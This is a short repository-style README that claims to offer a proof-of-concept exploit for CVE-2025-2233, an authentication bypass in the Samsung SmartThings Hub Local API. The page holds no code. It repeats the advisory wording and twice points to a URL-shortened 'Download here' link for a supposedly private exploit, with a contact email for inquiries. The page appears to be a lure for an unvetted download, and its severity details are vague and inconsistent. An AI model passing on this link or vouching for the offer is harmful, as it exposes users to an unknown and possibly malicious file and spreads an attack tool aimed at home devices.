CVE-2025-2233 PoC — Samsung SmartThings Improper Verification of Cryptographic Signature Authentication Bypass Vulnerability

Source

Associated Vulnerability

Description

Improper Verification of Cryptographic Signature (CWE-347)

Readme

# CVE-2025-2233
Improper Verification of Cryptographic Signature (CWE-347)
## Overview
Samsung SmartThings Improper Verification of Cryptographic Signature Authentication Bypass Vulnerability. This vulnerability allows network-adjacent attackers to bypass authentication on affected installations of Samsung SmartThings. Authentication is not required to exploit this vulnerability. The specific flaw exists within the Hub Local API service, which listens on TCP port 8766 by default. The issue results from the lack of proper verification of a cryptographic signature. An attacker can leverage this vulnerability to bypass authentication on the system. Was ZDI-CAN-25615.

## Exploit:
## [Download here](https://tinyurl.com/3en2dbrw)
## Details
+ **CVE ID**: CVE-2025-2233
+ **Published**: 03/11/2025
+ **Impact**: Critical
+ **Exploit Availability**: Not public, only private.
+ **CVSS**: High
## Impact

This vulnerability allows network-adjacent attackers to bypass authentication on affected installations of Samsung SmartThings. Authentication is not required to exploit this vulnerability.
The specific flaw exists within the Hub Local API service, which listens on TCP port 8766 by default. The issue results from the lack of proper verification of a cryptographic signature. An attacker can leverage this vulnerability to bypass authentication on the system.
## Affected Versions
Samsung SmartThings 

## Contact
+ **For inquiries, please contact:LeronTavish@outlook.com**
+ **Exploit** :[Download here](https://tinyurl.com/3en2dbrw)

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